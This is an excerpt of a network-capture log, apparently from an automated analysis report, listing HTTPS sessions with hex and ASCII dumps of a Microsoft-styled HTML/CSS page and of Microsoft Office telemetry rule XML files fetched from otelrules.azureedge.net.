2024-12-03 14:32:27 UTC	335	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:26 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-03 14:32:27 UTC	7857	IN	Data Raw: 33 65 36 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 Data Ascii: 3e6<!DOCTYPE html><html dir="ltr" lang="en-GB"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"/> <meta http-equiv="pragma" content="no-cache"/> <meta name="apple-mobile-w
2024-12-03 14:32:27 UTC	1346	IN	Data Raw: 2d 74 68 65 6d 65 50 72 69 6d 61 72 79 2d 62 65 66 6f 72 65 3a 62 65 66 6f 72 65 2c 20 2e 6d 73 2d 62 63 6c 2d 74 70 2d 68 3a 68 6f 76 65 72 2c 20 2e 6d 73 2d 62 63 6c 2d 74 70 2d 66 3a 66 6f 63 75 73 2c 20 2e 6d 73 2d 62 63 6c 2d 74 70 2d 62 3a 62 65 66 6f 72 65 20 7b 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 40 63 6f 6c 6f 72 2d 74 68 65 6d 65 50 72 69 6d 61 72 79 3b 20 7d 2e 6d 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 53 65 63 6f 6e 64 61 72 79 2c 20 2e 6d 73 2d 62 63 6c 2d 74 73 2c 20 2e 6d 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 53 65 63 6f 6e 64 61 72 79 2d 68 6f 76 65 72 3a 68 6f 76 65 72 2c 20 2e 6d 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 53 65 63 6f 6e 64 61 72 79 2d 66 6f 63 75 73 3a Data Ascii: -themePrimary-before:before, .ms-bcl-tp-h:hover, .ms-bcl-tp-f:focus, .ms-bcl-tp-b:before { border-color: @color-themePrimary; }.ms-border-color-themeSecondary, .ms-bcl-ts, .ms-border-color-themeSecondary-hover:hover, .ms-border-color-themeSecondary-focus:
2024-12-03 14:32:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-03 14:32:27 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 72 41 6c 74 2d 66 6f 63 75 73 3a 66 6f 63 75 73 2c 20 2e 6d 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 4c 69 67 68 74 65 72 41 6c 74 2d 62 65 66 6f 72 65 3a 62 65 66 6f 72 65 2c 20 2e 6d 73 2d 62 63 6c 2d 74 6c 72 61 2d 68 3a 68 6f 76 65 72 2c 20 2e 6d 73 2d 62 63 6c 2d 74 6c 72 61 2d 66 3a 66 6f 63 75 73 2c 20 2e 6d 73 2d 62 63 6c 2d 74 6c 72 61 2d 62 3a 62 65 66 6f 72 65 20 7b 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 40 63 6f 6c 6f 72 2d 74 68 65 6d 65 4c 69 67 68 74 65 72 41 6c 74 3b 20 7d 2e 6d 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 74 6f 70 2d 74 68 65 6d 65 50 72 69 6d 61 72 79 2c 20 2e 6d 73 2d 62 63 6c 2d 74 2d 74 70 2c 20 2e 6d 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 74 6f 70 2d 74 68 65 6d 65 50 Data Ascii: 2000rAlt-focus:focus, .ms-border-color-themeLighterAlt-before:before, .ms-bcl-tlra-h:hover, .ms-bcl-tlra-f:focus, .ms-bcl-tlra-b:before { border-color: @color-themeLighterAlt; }.ms-border-color-top-themePrimary, .ms-bcl-t-tp, .ms-border-color-top-themeP
2024-12-03 14:32:27 UTC	6	IN	Data Raw: 3a 20 31 31 70 78 Data Ascii: : 11px
2024-12-03 14:32:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-03 14:32:27 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 0d 0a Data Ascii: 2000; padding-left: 11px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-width: 1px; border-style: solid
2024-12-03 14:32:27 UTC	6	IN	Data Raw: 0a 20 20 20 20 20 Data Ascii:
2024-12-03 14:32:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-03 14:32:27 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6d 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 6e 65 75 74 72 61 6c 4c 69 67 68 74 2c 2e 6d 73 2d 62 63 6c 2d 6e 6c 2c 2e 6d 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 6e 65 75 74 72 61 6c 4c 69 67 68 74 2d 68 6f 76 65 72 3a 68 6f 76 65 72 2c 2e 6d 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 6e 65 75 74 72 61 6c 4c 69 67 68 74 2d 66 6f 63 75 73 3a 66 6f 63 75 73 2c 2e 6d 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 6e 65 75 74 72 61 6c 4c 69 67 68 74 2d 62 65 66 6f 72 65 3a 62 65 66 6f 72 65 2c 2e 6d 73 2d 62 63 6c 2d 6e 6c 2d 68 3a 68 6f 76 65 72 2c 2e 6d 73 2d 62 63 6c 2d 6e 6c 2d 66 3a 66 6f 63 75 73 2c 2e 6d 73 2d 62 63 6c 2d 6e 6c 2d 62 3a 62 65 66 6f 72 Data Ascii: 2000 } .ms-border-color-neutralLight,.ms-bcl-nl,.ms-border-color-neutralLight-hover:hover,.ms-border-color-neutralLight-focus:focus,.ms-border-color-neutralLight-before:before,.ms-bcl-nl-h:hover,.ms-bcl-nl-f:focus,.ms-bcl-nl-b:befor

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.9	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:26 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:27 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d2a0c1bd-101e-0017-761b-4147c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143227Z-174f7845968pght8hC1EWRyvxg000000097000000000b6cz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:27 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.9	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:27 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143227Z-174f7845968xr5c2hC1EWRd0hn0000000qwg00000000dchz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.9	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:27 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 20d43c3b-001e-0049-3b6b-435bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143227Z-174f78459685m244hC1EWRgp2c00000015x000000000bru9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.9	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:27 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:27 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 07e13988-c01e-0049-0444-44ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143227Z-174f784596886s2bhC1EWR743w000000160g00000000hbph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:27 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.9	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:27 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:27 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 21da0aac-a01e-0021-7d18-43814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143227Z-174f7845968j6t2phC1EWRcfe800000016ag00000000088w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:27 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.9	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:29 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:29 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0fbdb1d5-101e-0079-0270-435913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143229Z-174f7845968ljs8phC1EWRe6en00000015t000000000mhvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:29 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.9	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:29 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 4c860516-801e-00a3-3252-437cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143229Z-174f7845968vqt9xhC1EWRgten000000163g00000000bzuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.9	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:29 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 320a0aa9-e01e-003c-0635-41c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143229Z-174f7845968qj8jrhC1EWRh41s000000160g00000000cvwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.9	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:29 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 3f63c6b9-401e-0064-499d-4354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143229Z-174f7845968cpnpfhC1EWR3afc00000015qg00000000af0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
